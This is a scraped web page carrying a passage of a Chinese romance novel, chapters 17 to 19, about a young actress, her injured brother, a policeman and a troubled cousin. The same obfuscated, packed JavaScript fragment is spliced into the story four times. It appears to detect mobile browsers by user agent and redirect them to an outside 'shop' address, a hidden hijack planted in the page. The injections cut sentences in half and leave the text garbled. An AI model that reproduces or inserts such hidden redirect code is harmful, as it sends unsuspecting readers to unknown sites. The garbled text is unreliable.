0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957918|193215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶紧送你去医院?” 他笑出了声,这傻丫头居然没听懂? “我就是被他打成这样的,他怎么可能送我去医院,能在扔了我手机之前,先接你电话,已经是他手下留情了。” 陈灼曦感觉自己是在听故事,这世上怎么会有哥哥把弟弟打成这样。 什么血海深仇啊?下手这么狠。 “他为什么要打你。” “要钱呗!” 陈灼曦更觉得奇怪了,堂哥和堂弟要钱? 江椿看着她一脸懵的表情,低头笑笑,这是他第一次和别人讲起自己的家事。 不知道为什么,江椿不想再瞒着她了。 可能是因为她几次三番地救了自己吧。 对待“救命恩人”,还是要诚实一些的。 “打我的人叫江旭,是我堂哥,他爸爸,也就是我大伯,在江旭十二岁的时候进监狱了,判了七年,过失杀人,被我爸害的。” “过失杀人?” 这几个字陈灼曦只在电视里见到过,即使家里有个刑警老哥,她也从未听过这词儿。 她早该猜到的,江椿这么“特立独行”,他的经历就必然不可能普通。 “当年我爸欠下赌债,人家找到家里,正好我大伯在我家,要债那人拿出刀子逼我爸还钱,我大伯怕他伤害我爸,上去夺他的刀,两人争抢的时候,他失手把刀插进那人肚子,人死了,我大伯进去了。” 江椿停顿了一会儿,给陈灼曦留了点反应的时间。 这种事情,谁听了,都很难保持平静。 “我堂哥一直恨我爸,他的生活费也一直是我爸在给,可是我爸改不了赌博的毛病,经常没钱,我哥就会找我要,他打不过我爸,偶尔会把气撒在我身上。我大伯之前对我特好,比我爸妈对我都好,要不是我爸,他也不可能……所以我活该受着。” “可那是你爸的错,又不是你的。是他害了你大伯一家,又不是你。”陈灼曦不觉得江椿有义务替他父亲的错误买单。 毕竟,他也不过是个孩子。 “父债子偿,天经地义。” “狗屁的天经地义,冤有头债有主听过没,你这观点就是吃了没文化的亏,多读点儿书吧。” 陈灼曦一时生气走快了几步,连带着江椿,扯得他伤口生疼,倒吸了口凉气。 “嘶~你这是要谋杀啊,姑奶奶!” “要谋杀你的可不是我!”陈灼曦没好气地说。 “他也挺可怜的。” “谁?” “我堂哥。” “切,看不出来,你长了颗圣母心啊,都被人揍成这样了,还觉得人家可怜?” “我说真的,他妈妈生他的时候脐带绕颈,命没保住,他爸一个人把他养大,现在被我爸害得家里只剩他自己。他没那么坏,要真是狠心,今天不会让你来救我的。” 陈灼曦突然没了话,她没法反驳,这个故事里的所有人,除了江椿爸爸,都太可怜了。 她现在甚至说不出口去骂他堂哥,他又何其无辜,一出生就没了母亲,现在父亲也进了监狱。 在人生最关键的这几年,别人都在父母的庇护下成长,他却只能一个人在这个社会上讨生活。 她看了眼江椿,好像在说,你家这故事怎么这么悲惨。 江椿料定,她听完堂哥的故事就不会怪罪他。 “你哥经常打你吗?” 陈灼曦语气软了下来,没了刚才那副一定要让江旭“血债血偿”的气焰。 “也没经常,缺钱了就会,但很少下这么重的手,今天是他生日,可能他也觉得委屈吧!” 陈灼曦眼泪就快要掉下来。 “那你不还手吗?” 江椿摇摇头。 “下不去手。他爸出事儿前,我俩经常一起玩儿,算是一起长大的,想着他被我爸毁掉的人生,我还怎么动手。” 江椿没有躲,也不敢躲。他觉得自己该受着,父亲犯下的错,总要有人承担。 陈灼曦想说什么,只感觉话被堵在嗓子眼,她出不上气,想了许久,神情却突然严肃起来。 “江椿,你没错,放过自己吧。” 17. 包庇罪犯 邢弋赶到的时候,江椿的故事刚刚讲完,陈灼曦眼角还挂着泪。 回到邢弋家里,江椿和陈灼曦把晚上发生的事情一字不落说了一遍,唯独有一点,两个人都撒了谎。 他们同时隐瞒了是江旭动的手,不约而同地选择保护这位真正的“罪魁祸首”。 江椿知道,陈灼曦的哥哥是警察,也看得出来,邢弋是一样的身份。 他现在说出江旭,无疑是把他往绝路上逼。 大伯已经进监狱了,他不能再把江旭也送进去。 “巷子太黑了,我没看见是谁打的我,他们抢了我身上的钱就跑了。” 江椿讲出了自己提前想好的一套说辞。 “你也没看见?”陈燃半信半疑,转头看向陈灼曦。 “没啊,我赶到的时候就只剩江椿了,他们人早跑了。我估计就是附近的小混混,想要钱,所以失手打了人。哎呀哥,江椿他不是没事儿吗?天那么黑,那条巷子里有没监控,人肯定是找不到了。” 江椿听她这么说,投去个感激的眼神。 “对啊,倒是也没多少钱,认栽吧,我伤的也不重。” 江椿和陈灼曦一人一句配合得倒是默契。 邢弋没说话,一直靠在窗边观察着两人。 毕竟涉世未深,偶尔耍小聪明骗骗老师、家长还行,可那一来一去心虚的小眼神,想要骗过警校的优秀毕业生,真没那么容易。 只是,邢弋暂时还没打算拆穿,他倒想看看,这两孩子葫芦里卖的什么药。 “那不行,他都敢用玻璃瓶砸人脑袋了,怎么能轻易放过他,万一以后再伤人呢?必须报警!” 陈燃“噌”地一下从沙发上站起来。 就这样不清不楚地放过“嫌疑人”,可对不起他的职业操守。 更何况,他们马上就要回刑警队正式报到了,就算是为了他的刑警身份,他也一定要揪出坏人,惩恶扬善。 陈灼曦看着她哥的反应,肩膀无力地垂下,浅浅翻了个白眼。 “哥,受害人是江椿,报不报警让人家自己决定,他姐姐也在呢,你就别燃了啊,太晚了,我困了,今天先回家吧,让伤员好好养伤!” 她假装打了个哈欠,给江椿使了个眼色,扭头推着陈燃往门口走。 邢弋把这一切尽收眼底,他更加确定,他们有事隐瞒,应该是有意想要“包庇”出手伤了江椿的那些人。 “哎哎,我还没说完……”陈燃也不知道今天陈灼曦这是怎么了,但仔细想想,她说的好像挺有道理。 见陈燃和妹妹要走,潘茁也忙跟上。 “邢弋,那我们就先走了。” 她走之前看了一眼江宥一,两人互相微笑点头示意。 有的时候,潘茁也不得不承认,邢弋和江宥一的缘分似乎确实是太深了。 他们自从相遇之后,好像总会因为各种事情一次又一次的牵扯到一起。 屋里现在只剩下江宥一、江椿和邢弋。 江宥一眉头紧紧皱在一起,小心翼翼用手指抚摸着江椿的伤口。 邢弋就站在那里看着她,她在江椿面前,完全就是一个成熟姐姐的模样,和面对他时不太一样。 今天的江宥一,让邢弋感觉到,原来他们真的分开了这么久,久到她已经长大,他现在才发觉。 “时间不早了,既然事情已经搞清楚了,我们也该回去了。” 江宥一无暇顾及邢弋注视自己的眼神,起身扶着江椿。 “你等等,我送你们。” “好,麻烦你了。” 她这会儿已经没了白天的精气神,说话有气无力的。 一路上,邢弋也贴心地保持沉默。 他其实是想说些什么的,但回头看到江宥一累得已经开始打盹儿,只好把话咽了回去。 从家里到医院的那段路上,她一定很担心江椿吧,从前那个跟在自己身后,什么都不懂,什么都不爱操心的姜桃,今天居然也长成了那个懂得照顾别人的模样。 不该让她一个人长大的,邢弋心里这样想。 “醒醒,姐,到家了。” 邢弋把车稳稳停到了江宥一家门口,江椿看了眼他,其实很好奇他为什么会知道江宥一家的地址。 “难不成他来过?他是姐姐什么人?莫非此人是未来姐夫?” 江椿此刻内心戏十足,正想开口向邢弋问个清楚,江宥一迷迷糊糊地从睡梦中醒来。 “江椿,你先进去。” “哦。” 姐姐命,不可违,江椿从小就深谙此理。 “今天的事,真的谢谢你。” “不用谢。” 邢弋刚要转身,又在瞬间定住,回过头来。 “你弟弟的事儿没这么简单,这俩孩子八成是撒谎了,他们好像有意阻止咱们报警,我怀疑他们知道是谁动了手。” 江宥一听完他的分析,居然一点儿都不惊讶。 “我知道。” “你知道?” “对,能让江椿平白挨了揍还不肯供出来的人,只有一个,他堂哥,也是个苦命孩子。这事儿说来话长,我以后再慢慢告诉你,但是,真的不能报警,我会想办法和他堂哥联系的。” 邢弋听完皱了皱眉,他尊重江宥一的选择。 “行,你们决定,但是,他堂哥这次下手可不轻,你找他的时候我陪你去,一个人危险。” 江宥一难得地笑了,这是她见到弟弟后第一次笑出来。 这当然值得高兴,邢弋居然主动开口关心自己,她没想到,这算是今天的意外之喜。 江宥一把这归结为自己这些天主动接近的光荣成果。 “好,邢警官,到时候我一定来麻烦你。” 见她情绪终于不再那么低落,邢弋也松了口气。 “那今天就先这样,再见!” 江宥一主动告别,虽然她很想和邢弋多待会儿,但江椿还在家里等着自己。 她转身要走。 “江宥一!” 邢弋叫住她,犹豫再三,只撂下一句:“早点休息。” 江宥一点头。 邢弋其实是想问清楚她养父母家里的事情,可是在喊出她名字的那一刻,邢弋又觉得自己简直可笑。 他到现在连他们的过去都不肯承认,又该怎么开口?凭什么开口?以怎样的立场开口? 他想要了解她的过去,却又自私地认为自己不该打扰她的未来。 所以最后,所有的疑问只能他自己消化。 江椿进了屋子,并没有乖乖坐到沙发上等江宥一回来。 虽然脑袋开瓢,浑身是伤,但这可丝毫不影响他八卦江宥一的心情。 这么多年了,江宥一身边除了那个叫乔铭的追求者,连个公蚊子都没出现过,邢弋的突然降临, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957919|193215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对于江椿来说,实在是太过意外。 他趴在窗边,悄悄“监视”着外面的一举一动。 江椿还以为自己能看到个亲亲抱抱,诸如此类少儿不宜的片段,结果两个人就只是挥手说了再见。 这个姐夫不太行啊? 江椿撇撇嘴,对邢弋有些许失望。 江宥一回家后,发现了鬼鬼祟祟站在窗边的江椿,毫不客气地白了他一眼。 “臭小子,还疼吗?” 江椿摇头。 “是江旭干的吧?” 江椿还是摇头。 江宥一冷笑一声,坐在沙发上翘起二郎腿。 “我还不知道你,死活不让报警,除了他,还能是谁。” 江椿看着江宥一这架势,知道瞒不住她,这才肯松口。 “我欠他的。” 江宥一叹了口气,闭上眼睛沉默了好几秒。 “和你说几遍了,那是江祖兴的错,和你没关系,你没必要这么做。” 江椿不说话。 他固执地认为,自己应该替江祖兴弥补错误,哪怕他从未尽到一个父亲的责任,可血缘关系是改变不了的。 江椿倔强地把头扭向一侧,一不小心扯到伤口,疼痛感瞬间袭来,他龇牙咧嘴地“嘶”了一声。 江宥一听到,紧张的不得了,立马跑过来替他检查。 “江旭这小子下手怎么越来越重了,我得去找他一回,你不计较,我不行,你姐我心眼儿小。” 一听到江宥一要去找江旭,江椿也急了。 “姐,这事儿和你没关系,你别去找他。” 江宥一忽的停下了手里的动作。 “你说说,这事儿怎么和我没关系,你是我弟,他把我弟打成这样,我怎么能不管?” 江椿悻悻低头。 “姐,你不知道,江旭现在越来越恨我们了,他不知道还会做出多过分的事,你去找他太危险了。” “就是因为不知道他还会做什么,我才更应该去找他。” “姐,真的不行,你是明星,万一被拍到……” “江椿,你抬头看着我,真是因为这个吗?不许撒谎。” 看着江宥一坚定得让人心慌的眼神,他这才承认。 “姐,我是真拿你当亲姐,可是你毕竟和江祖兴没有血缘关系,你已经被这个家连累太多了,以后你就好好过你的日子,江家有我呢!” 江宥一听了这话,又气又想笑。 “你个小屁孩儿,你先好好读你的书,上你的学吧,还江家有你呢,怎么,翅膀硬了,不想认你这个老姐了?” “姐,你知道我不是这个意思,你因为江祖兴受了多少罪,吃了多少苦,我又不是不知道,你能过上今天的生活,也全凭你的努力,你不能再让江祖兴,再让这个家拖累你了,你好不容易才离开他的控制。” “傻小子,我是去找江旭,又不是去找江祖兴,江旭的事情不解决,你以后也没法好好上学。那小子本性不坏,他不会把你老姐我怎么着的。” “所以啊,江旭也不会把我怎么样的,最多就是今天这样了。”江椿指指自己的脑袋,无所谓似的笑笑。 “你还笑得出来,老实跟我说,江旭不是第一次打你了吧?” “没有,就是第一次。”江椿垂下脑袋,用手指蹭蹭鼻尖。 “撒谎,你撒谎的时候从不看着我。” 18. 很满意这个姐夫 江宥一一点情面不留,拆穿了江椿的谎话。 江椿不想让她担心,她已经很辛苦了,应该有自己的生活,而不是被一个没有血缘关系的弟弟困住手脚。 “姐,刚送咱们回来的那个警察你们认识?”江椿故意岔开话题。 “嗯,一个朋友。” 江椿摆出一副欠嗖嗖的表情。 “我可不傻,你俩之间气氛不对哦,他不会是你男朋友吧!难道又是追求者?” 江宥一难得脸红。 追求者?要不说小屁孩儿什么都不懂呢,邢弋那冷若冰霜、恨不得把江宥一拒之千里的样子,哪里像个追求者? 要真照他这个“追”法,估计得一辈子打光棍。 “什么男朋友,你个小屁孩儿不懂别瞎说。” 听江宥一这样说,江椿其实是有些失望的。 “说实在的,姐,我挺喜欢邢弋的,他比那个乔铭医生靠谱多了。你不知道,刚才在医院的时候,都是他一个人忙前忙后,安全感满满,你真的不考虑一下吗?” “别瞎说,帮你找学校的时候,人家乔铭可没少帮忙,你个小白眼儿狼。” 江宥一虽然嘴上这么说,但她不知道为什么,心里其实是高兴的,而且很认同江椿对邢弋的评价。 邢弋确实很靠谱,又聪明又有能力,一直都是这样,好像很少有能够难倒他的事情。 “我要他帮了吗?再说了,他帮我那都是有目的的,你别以为我不知道,他那是想追你才帮我的。” 江椿也不知道为什么,就是喜欢不起来乔铭。 其实他心里对他是感激的,不光是因为他帮了他,更是因为,这些年,他没少照顾江宥一。 江宥一有个头疼脑热,他比谁都着急。 女孩子一个人打拼,尤其是像江宥一这种工作起来不要命的,有个认识人在医院上班,其实挺方便的。 但江椿还是觉得,乔铭当个朋友还行,他配不上江宥一。 见过几次面,江椿感觉乔铭太假,说话假,笑容也假,总是戴着个金丝框眼睛,说话文绉绉的。 而且他做了什么事情都要挂在嘴边,生怕江宥一不知道似的。 现在这个年头,像邢弋这样做好事不留名的老实人可不多了。 江椿希望姐姐能把握住机会,早点把邢弋“拐”回来。 “你少打岔,你的问题我还没说完呢,那个陈灼曦是什么情况,你和人家姑娘什么关系,大半夜的,她怎么和你在一块儿?我可没说过允许你早恋啊,一天天的,不务正业,你自己不学好,别再把人家姑娘耽误了。” 不知道是不是心虚,江宥一火速把矛头再次指向江椿。 邢弋有多好,她当然知道,不需要江椿再来提醒。 “我的老姐,你嘴可真毒,把我说的跟人贩子似的,我今晚都说了八百回了,我俩就是同学。再说了,你这是什么封建观念啊,男女之间是可以有纯友谊的好嘛?” “有个屁,我才不信你对人家没有意思。” “那你呢,你对邢弋哥有想法没?”江椿不愿意回答,又把难题抛了回来。 姐弟俩就这样互相攻击,谁也不愿意承认心里那点儿小九九。 “睡觉!” 最终还是江宥一一声令下,结束了这场直击灵魂但没有结果的对话。 第二天。 江宥一醒来的第一件事就是去找江旭,这臭小子不教训一下是不行了。 当然,她没忘了邢弋昨晚答应过会陪自己去的承诺。 她可不傻,江旭能把江椿打成那样,说明这孩子已经失去理智了。 不管怎么样,江宥一都不会拿自己的生命安全开玩笑。 “你说的陪我去找江旭的事儿还算数吗?” 江宥一不知道,邢弋一直在等她的这通电话。 “当然,你打算什么时候去?” “尽快吧,今天晚上你有时间吗?这臭小子还在上学,六点放学,咱俩六点直接去他学校门口堵他。” “行。” 放学的江旭看到江宥一,似乎不是很意外。 他早就猜到了,昨天打了江椿,江宥一一定会来找他,只不过,他没想到她的速度这么快,而且居然还带了个帮手。 江宥一和邢弋一左一右靠在黑色捷途引擎盖前,倒是有几分史密斯夫妇的感觉。 “江旭,知道我为什么来找你吧!” 江宥一先发制人,拿出了点儿姐姐的气势,她好歹也算他半个堂姐。 “知道,不就是因为我打了你那宝贝弟弟了吗?怎么,你今天带你这保镖过来,是想揍我一顿,替江椿报仇?” 江旭上下打量了下邢弋。 这体型,倒确实有几分保镖的样子。 “我没你那么幼稚,不会用暴力解决问题。还有,他不是保镖,是警察。” 江旭听了非但没有害怕,反而冷笑一声。 “怎么,送我爸进监狱还不够,现在还要送我进去?” 说到他父亲,江旭的眼神萌生出几分恨意。 “如果真想送你进去,我们昨天就报警了,是江椿拦着不让。” 江旭垂下眼睫,冷笑一声。 “他当然没脸报警了,是江祖兴害了我爸,害了我,你们家还有什么脸继续出现在我面前。” “你也说了,是江祖兴害了你爸,这件事儿和江椿无关,他也是无辜的。” “他是无辜的?那我就不无辜了吗?你们有谁考虑过我吗?” 邢弋见江旭情绪有些激动,下意识上前一步,把江宥一护在身后。 不错,肩没白练,他把她挡了个结实。 江宥一轻轻拍了拍邢弋肩膀,冲他温柔笑笑,然后重新站在江旭面前。 “江旭,我知道这件事情的罪魁祸首是江祖兴,无论是你,是大伯,还是江椿,你们都是无辜的。我没有资格劝你放下仇恨,但是,放过自己好吗?以后也别去为难江椿,好好学习,等你爸出来。” 江旭把头偏向一边,倔强地不肯看江宥一。 “这笔钱你拿着,这钱我不是为了江祖兴,也不是为了江椿,我是为了你,给你准备的。收下钱,你不必原谅江祖兴,但是别再去找他了,离他远点儿,他不会给你钱的。他那种人,以后自然会遭到报应,但你没必要为了他搭上你的人生。你拿着这钱好好生活,等着你爸爸。” 江宥一把卡硬塞到江旭手里,江旭毕竟也只是个孩子,本性不坏,他的父亲把他教得很好。 这些年来,江宥一不是第一次给他钱,但都被他拒绝了。 他知道江祖兴对江宥一并不好,他们本来就不是真正的一家人,所以他固执地认为江宥一给他钱是可怜他,是施舍。 他不需要同情,他只要江祖兴的钱。 但是最近开始,江祖兴刻意躲着他,有时候喝醉了也会动手打他,到底是个孩子,看见抡着玻璃酒瓶的江祖兴,还是会生出恐惧。 可他需要钱,上学需要,生活也需要。 江旭握着银行卡的手无力地垂了下去。 江宥一和邢弋清楚地看到,他眼眶红了,用力咬紧牙关,忍着不让眼泪留下来,江旭不是那种不分是非的人,他知道自己不该恨江椿,只是,他的委屈需要找个发泄的地方。 他手里拿着银行卡,小声说了句“谢谢。” 江宥一和邢弋要走,又被他叫住。 “等等,替我给江椿说声对不起。” 江宥一笑笑,到底是没学坏,还知道愧疚。 “你们一个学校,要说自己说去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957920|193215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 见完江旭,正好到了饭点儿。 “我请你吃饭吧,作为今天当免费保镖的感谢,不许拒绝,你今天帮了我大忙。” 经过几次碰壁,江宥一已经基本摸清了邢弋的路子,主动约他,他一般都会拒绝。 唯一的办法就是,不给他拒绝的机会。 江宥一直接坐上副驾,点开手机导航,一副女主人姿态。 “我知道一家粤菜,特别好吃,带你去。” 邢弋皱了皱眉,瞥了眼江宥一的手机,无奈地系上安全带。 “我找得到,你可以把导航关了。” “哦。” 江宥一在心里窃喜,就算不情愿,你又能奈我何,老娘非要把死缠烂打贯彻到底。 到了饭店,江宥一看出了邢弋的欲言又止,低头抿了口茶,笑笑。 “想问什么就问吧,别把自己给憋坏了。” “江椿是你亲弟弟吗?” 明知故问。 “不是,我是被江椿奶奶领养的。” 既然邢弋要演,江宥一就陪他演下去。 “他父母对他不好,那对你呢?” 哪怕仅仅有那么一点儿可能,邢弋也希望江宥一没有他参与的过去,是幸福的。 江宥一摇头。 邢弋最后的希望破灭。 或许是看到了邢弋脸上的落寞自责,江宥一主动说起江椿奶奶。 “但我奶奶对我很好,像亲奶奶一样。告诉你一个江椿都不知道的秘密,我十二岁那年,江椿才两岁多,我养父母让我照看江椿,结果我写作业的时候,这小子从床上掉下去了,脑袋上磕出个大包,奶奶回来,为了不让我挨骂,硬说是江椿自己撞在门上的。还有还有,我上初中那会儿,奶奶总是偷偷把我养母留给江椿的鸡腿,让我吃掉,反正那傻小子什么都不懂。” 说起江奶奶,江宥一脸上是幸福的,她的记忆好像被拉回到从前。 那些起码还有奶奶疼爱的日子,好像也已经过去很久了。 “那江奶奶现在在哪儿?和你养父母住一起吗?” “她去世了。” 江宥一抬头,看到邢弋从震惊转向心疼的眼神。 她平时惯用苦肉计,并且乐此不疲。 可是现在突然又特别不想让邢弋可怜自己,更不想看他内疚。 “尝尝他家的清蒸石斑鱼,是特色菜哦!”江宥一主动给邢弋夹菜,以为这样就能帮邢弋从悲伤里走出来。 可他现在哪还有心情吃饭,只是不好让江宥一担心,硬塞到嘴里,也没尝出个味道来。 赌博酗酒的养父,没人管的弟弟,唯一一个疼爱她结果还去世了的奶奶,还有一个分开十几年不愿意和她相认的旧友,江宥一这是什么逆天开局。 “你他妈就是个混蛋!”邢弋在心里怒骂自己。 可能也就是从这个时候开始,他再次产生了要好好对待江宥一的念头。 可这个念头刚萌芽,就又被邢弋自己推翻。 她受苦的时候你不知道在哪里,这会儿人家好不容易靠自己打拼出一番事业,你又要凭空出现毁了她好不容易得到的一切吗? 江宥一成名路上经历的一切邢弋都有关注,正因如此,他比谁都清楚,现在的娱乐圈,只要你的过去有一点黑料,都会被有心人放大一百倍,甚至是一万倍去批判。 她走到今天,身后不知道有多少双眼睛盯着,想要拉她下马,邢弋不希望自己在无意之中成为那个推波助澜的人。 虽然孤儿的身份并没有什么,但他不想江宥一又像小时候那样,被人嘲笑、被人瞧不起。 江宥一傻傻地坐在对面,看着出神的邢弋,还以为两个人的关系能拉近一点,却不知道,邢弋又在想着要怎么离开她的世界。 19. 人间极品 “下周末一起去露营吧,我……” “好。” 靠,明明刚才还想着保持距离,这会儿答应得倒是快。 邢弋有些懊恼,自己的嘴巴好像有些不听使唤了,但是好像又很期待。 再这样下去,他要离不开她了。 这样放任下去真的可以吗? 他回答得太快,江宥一也没反应过来。 明明她的后半句话还没讲完,她想了好久的理由还没说出口。 他就这么答应了? 这么喜欢露营吗?看样子卢珮宁想的这点子真不错! 江宥一没敢想邢弋是为了自己才答应赴约的,反而把所有功劳算到去露营这个提议上。 “好……就好,我还想让你帮忙邀请一下陈燃和他妹妹,对了,还有潘茁,为了感谢你们那天救了江椿。” 江宥一表情诚恳,虽然邢弋已经答应了,但该有的诚意还是要有,她的借口也必须讲完。 邢弋点头,算是答应。 “露营需要的东西我这边会全部准备好,你们过来就好。我和江椿应该当面表达一下感谢的。” “嗯。” “江椿一直想再见你一面,他说那天是你一直送他去医院,帮他办手续,连医药费都是你垫付的。” “他没事就好。” “医药费多少,我转给你。” 江宥一的话明显让邢弋愣了一下。 她要给他钱? “不用了,没有多少钱。” 邢弋拒绝得干脆,但心里还是有些难过的。 他突然感觉自己好像真的成了外人。 邢弋从没想过和江宥一谈钱,更何况只是一点医药费。 为了她,哪怕是倾家荡产,他也愿意。 有的时候,邢弋也觉得自己很矛盾。 他不想和江宥一走得太近,怕影响她的生活,可是,当自己亲手推开她,发现两个人变得生分的时候,他又会难过。 十七年前,第一次看姜桃的小小背影离开,让她一个人面对这么多的痛苦,他现在居然要重蹈覆辙,再推开她一次。 几个月后,邢弋会发现,现在的自己,做了多么愚蠢的一个决定。 露营地点定在了南桥公园,现在是冬天,那里人不多,江宥一这个女明星也不用把自己包裹得太过严实。 她终于能痛痛快快地玩儿一天。 露营需要准备的东西不少,江椿伤还没好全,卢珮宁不忍心看江宥一一个人忙来忙去,一大早上就跑到她家里帮忙。 “不是吧,江女士,你那位竹马也太不贴心了,他都没想着要来帮帮你吗?一点儿都不懂得怜香惜玉。” 她话音刚落,江宥一家门铃就响了。 邢弋站在门口,左右手满满当当拎着一堆吃的。 “话说早了吧?”江宥一开门前,不忘回头调侃一句卢珮宁。 卢珮宁心虚地眨眨眼,走到门口,准备和江宥一一起迎接这位天天被她挂在嘴边的邢木头。 其实,她早就想“会会”他了。 卢珮宁早就做足了心理准备,能让江宥一如此惦记的,必定不是常人。 要不就是气质绝佳,要不是长相万里挑一,再要不就是身材…… 总之,这个邢弋肯定有他的过人之处。 开门的那一瞬,卢珮宁几乎是屏住了呼吸,等待这激动人心的时刻。 但是看到邢弋的第一眼,卢珮宁就知道,她的准备还是做少了。 眼前的男人完全就是一张建模脸来的,眉骨立体,眼型狭长,眼尾微扬,不笑的时候,带着几分严肃,可一笑起来,眼睛弯起来,刚才的冷峻气质又即刻消失,少年气息扑面而来。 卢珮宁看得嘴都合不拢,江宥一看她那样子,就知道这姑娘正犯花痴。 她也不惊讶,是个女人见到他都很难把持的住,包括那天和他重逢的她。 十七年前,两人分开的时候,邢弋已经有了不少帅哥的模样,毕竟底子在那儿摆着,长大以后,彻底长开了,帅得更是夸张。 “介绍一下,这是我最好的朋友,卢珮宁。这位也是我的……朋友,邢弋。” 朋友两个字好像烫嘴,江宥一说出来并不容易。 “你好!” “你好!” 两人互相对着彼此点头,那股子拘谨劲儿看得江宥一想笑,心想,这两人平时在自己面前也没这么尴尬啊。 “不是说好东西我来准备吗?” 江宥一伸手要接过邢弋手里的东西,被他拒绝。 “不用,你别拿了,太重。” 邢弋没解释他为什么会提着这些东西出现,径直走向厨房,把东西放下。 然后,走向客厅,脱下风衣,他里面穿着黑色高领毛衣,肩宽腰细的好身材一览无余。 他平时不这样打扮,今天这穿搭,倒是有几分孔雀开屏的意思。 江宥一和卢珮宁对视一眼,齐齐吞了口水,两个女色魔。 “江宥一,你自己美得过分也就算了,怎么竹马也这么哇塞,太不公平了。” 卢珮宁一边打量邢弋,一边凑在江宥一耳边嘀咕。 “差不多得了,待会儿被听到了。”江宥一也尽量压低声音。 “听到就听到,怕什么,人人都有欣赏美的权利。” “好,那你继续履行你的权利。” 江宥一说完,走过去继续帮忙收拾东西。 卢珮宁懂得要给他们留些独处的机会,也就不去凑这个热闹,站的远远的,手捧着杯咖啡,欣赏眼前的视觉盛宴。 江宥一站在邢弋旁边,空着手走来走去,看着好像挺忙,但其实什么忙都没帮上,邢弋根本不给她插手的机会。 “这个我来拿吧,这个轻一点。”江宥一眼疾手快,几乎是从邢弋手里抢走的。 邢弋抬眸看了她一眼,好不容易“抢”点活干,江宥一高兴得好像中了彩票。 她笑得眉眼弯弯,窗外阳光刚好能洒在脸上,好看极了。 邢弋看呆了那么一瞬,不想驳了她的兴致。 “拿的时候小心,太重的放着我来!” “收到,保证完成任务,邢sir!” 这都是从哪儿学的,邢弋咧起嘴角,看了眼江宥一,没掩饰笑意。 这几天,邢弋想了很多,还是决定遵从内心,既然答应了江宥一,就陪她好好过个周末。 总还是要和她留下些美好回忆的,不然老了之后的日子该多难熬。 出发的时候,三个人上了一辆车。 原本卢珮宁是不愿意当这个“电灯泡”的,虽然她很不想错过和帅哥同乘一辆车的机会,但如果那个帅哥是闺蜜喜欢的,她愿意“成人之美”。 不过最后,她还是被江宥一生拉硬拽地扔到了车上。 江宥一没打算和她一起坐后排,主动上了副驾。 卢珮宁平时是很爱说话的,尤其是气氛降到冰点的时候,她往往会承担起暖场的重担。 但是今天,车上这么安静,她却不想喧宾夺主。 “上啊!” 她给江宥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963106|193215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一发去信息。 “上哪儿?上什么?” 江宥一装不懂。 “我去,多好的机会,别浪费,和他聊天。” “聊什么?” “随便!” 卢珮宁恨铁不成钢。 江宥一没有恋爱经历,但偶像剧没少演,她不是不知道该怎么展开话题,只是今天故意逗逗卢珮宁。 “邢警官,这么帅气又优秀,有女朋友了吧?” 卢珮宁果然一开口就不简单。 坐在副驾的江宥一被惊得回头看了她一眼。 她跟没事人似的挑挑眉。 “我不是给你说过他单身嘛?再说了,你突然问这个干什么?” 卢珮宁收到了江宥一的质问信息。 “谁叫你坐在副驾跟个哑巴似的,帮你再探探嘛?” 江宥一无语,不再说话。 正在开车的邢弋也没想到江宥一的朋友这么直接,抬头看了眼后视镜。 “还没有呢。” “哦,我认识不少优质女青年,个个盘条靓顺,邢警官需要的话,我可以帮忙牵个线。” 卢珮宁故意刺激江宥一,也是想帮她看看邢弋的反应。 “不用了,谢谢好意,我这个工作特殊,没什么时间谈恋爱。” 邢弋如实回答。 “还有,叫我邢弋就好。” 他又补充。 邢警官这个称呼他听不太习惯。 “好,邢弋,恐怕不是因为这个原因吧?二十多岁,怎么能不恋爱,你不会是已经有了心上人了吧?” 邢弋不傻,知道卢珮宁这是在替江宥一试探,但他不打算将计就计。 这种游戏他玩不起,也不想让谁误会什么,他不想耽误别人。 “我不撒谎,近期确实没有恋爱的想法,也没有遇到想恋爱的人。” 多么不合时宜又叫人误会的一句话,拒绝的意思不能再明显。 卢珮宁识趣地点点头。 “知道你为什么叫他‘木头’了,确实不会聊天,给我整不会了。” 卢珮宁发了个翻白眼的表情包。 她意识到,拿下人间极品肯定是需要花费些功夫的,她祝江宥一好运。 “谁叫你自讨苦吃!” 听了邢弋的回答,江宥一没来由地失落,但依旧和卢珮宁在手机里打嘴仗。 